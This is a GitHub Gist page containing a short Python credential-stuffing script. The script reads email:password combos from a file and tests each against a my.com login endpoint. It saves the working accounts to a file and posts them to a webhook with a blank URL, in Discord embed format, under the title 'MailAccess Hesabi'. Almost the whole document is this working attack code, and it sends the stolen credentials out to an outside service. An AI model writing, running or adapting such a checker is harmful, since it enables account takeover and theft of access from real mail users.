Last active
July 3, 2020 11:35
-
-
Save xm4r1us/2d4e69a6202582a68ebf31a08fe8bdd8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import json | |
a = open("mailcombo.txt", "r").readlines() | |
file = [s.rstrip()for s in a] | |
for lines in file: | |
combo = lines.split(":") | |
email = combo[0] | |
sifre = combo[1] | |
kokopolis = requests.get("https://aj-https.my.com/cgi-bin/auth?model=&simple=1&Login=" + email + "&Password=" + sifre) | |
koko = kokopolis.text | |
if "Ok=1" in koko: | |
print("Work Account: " + email + ":" + sifre) | |
dosya = open('workacc.txt', 'a++') | |
dosya.write(email + ":" + sifre + "\n") | |
dosya.close() | |
url = "" | |
data = {} | |
data["content"] = "" | |
data["username"] = "custom username" | |
data["embeds"] = [] | |
embed = {} | |
embed["description"] = email + ":" + sifre | |
embed["title"] = "MailAccess Hesabi" | |
data["embeds"].append(embed) | |
result = requests.post(url, data=json.dumps(data), headers={"Content-Type": "application/json"}) | |
try: | |
result.raise_for_status() | |
except requests.exceptions.HTTPError as err: | |
print(err) | |
else: | |
print("Payload delivered successfully, code {}.".format(result.status_code)) | |
else: | |
print("Not Work Account: " + email + ":" + sifre) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment